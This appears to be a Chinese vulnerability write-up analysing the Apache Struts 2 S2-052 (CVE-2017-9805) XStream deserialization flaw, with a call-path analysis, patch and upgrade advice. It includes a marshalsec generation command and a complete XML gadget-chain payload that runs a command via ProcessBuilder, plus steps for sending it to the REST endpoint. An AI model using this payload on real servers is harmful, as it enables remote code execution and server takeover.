很久以前的洞了,一直没时间分析,拖延症晚期o(╯□╰)o
2017年9月5日,Apache Struts 2官方发布一个严重级别的安全漏洞 公告 ,该漏洞由国外安全研究组织lgtm.com的安全研究人员发现,漏洞编号为CVE-2017-9805(S2-052),在一定条件下,攻击者可以利用该漏洞远程发送精心构造的恶意数据包,获取业务数据或服务器权限,存在高安全风险。
当Struts2使用REST插件使用XStream的实例xstreamhandler处理反序列化XML时没有进行任何过滤,可以导致远程执行代码,攻击者可以利用该漏洞构造恶意的XML内容获取服务器权限。目前来说xml反序列化有两种,一种是XMLDecoder,另外一下是使用xstream。
利用条件:使用REST插件并在受影响版本范围内。
利用方式:攻击者构建恶意数据包远程利用。
影响版本:Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12
下载 struts-2.5.12-all.zip ,将struts-2.5.12/src/apps/目录下的rest-showcase导入idea,再配置下project structure,如下
根据官方公告知道该漏洞出现在xstreamhandler类,定位到该类,发现在struts2-rest-plugin-2.5.12.jar包内
在toObject()处下一个断点,进行调试,发现其上层调用栈中,ContentTypeInterceptor类会根据请求的Content-Type选择对应的Handler进行处理。并且struts2-rest-plugin-2.5.12.jar的struts-plugin.xml配置文件是当Content-Type为xml会调用XStreamHandler类进行处理
所有当Content-Type为”application/xml”时,就会调用XStreamHandler.toObject(),在toObject()中调用 XStream.fromXML()对xml的内容进行反序列化,并且XStream没有对Reader做任何过滤处理。
所以整个流程是:
发起请求 -> ContentTypeInterceptor判断Content-Type ->若Content-Type:application/xml ->调用XStreamHandler.toObject()对xml数据流进行反序列化
过程已经很清晰明了,现在开始漏洞复现
这里使用 marshalsec 构造生成payload
java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.XStream ImageIO "calc" > poc.xml
payload如下:
<map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>calc</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> </entry> </map>
访问http://localhost:8088/orders/3/edit中点击Submit,burp抓包,将请求内容改为Payload,Content-Type Header改为application/xml,即可对请求内容进行反序列化
1. 官方补丁 ,官方的修复方案中,主要就是将xml中的数据白名单化,把Collection和Map,一些基础类,时间类放在白名单中,这样就能阻止XStream反序列化的过程中带入一些有害类
2.Version 2.3.0 to 2.3.33升级到Struts 2.3.34版本,Version 2.5.0 to 2.5.12升级到Struts 2.5.13版本
1. Struts2 S2-052与XStream漏洞调试分析
2. S2-052漏洞分析及官方缓解措施无效验证
3. Struts2-052漏洞分析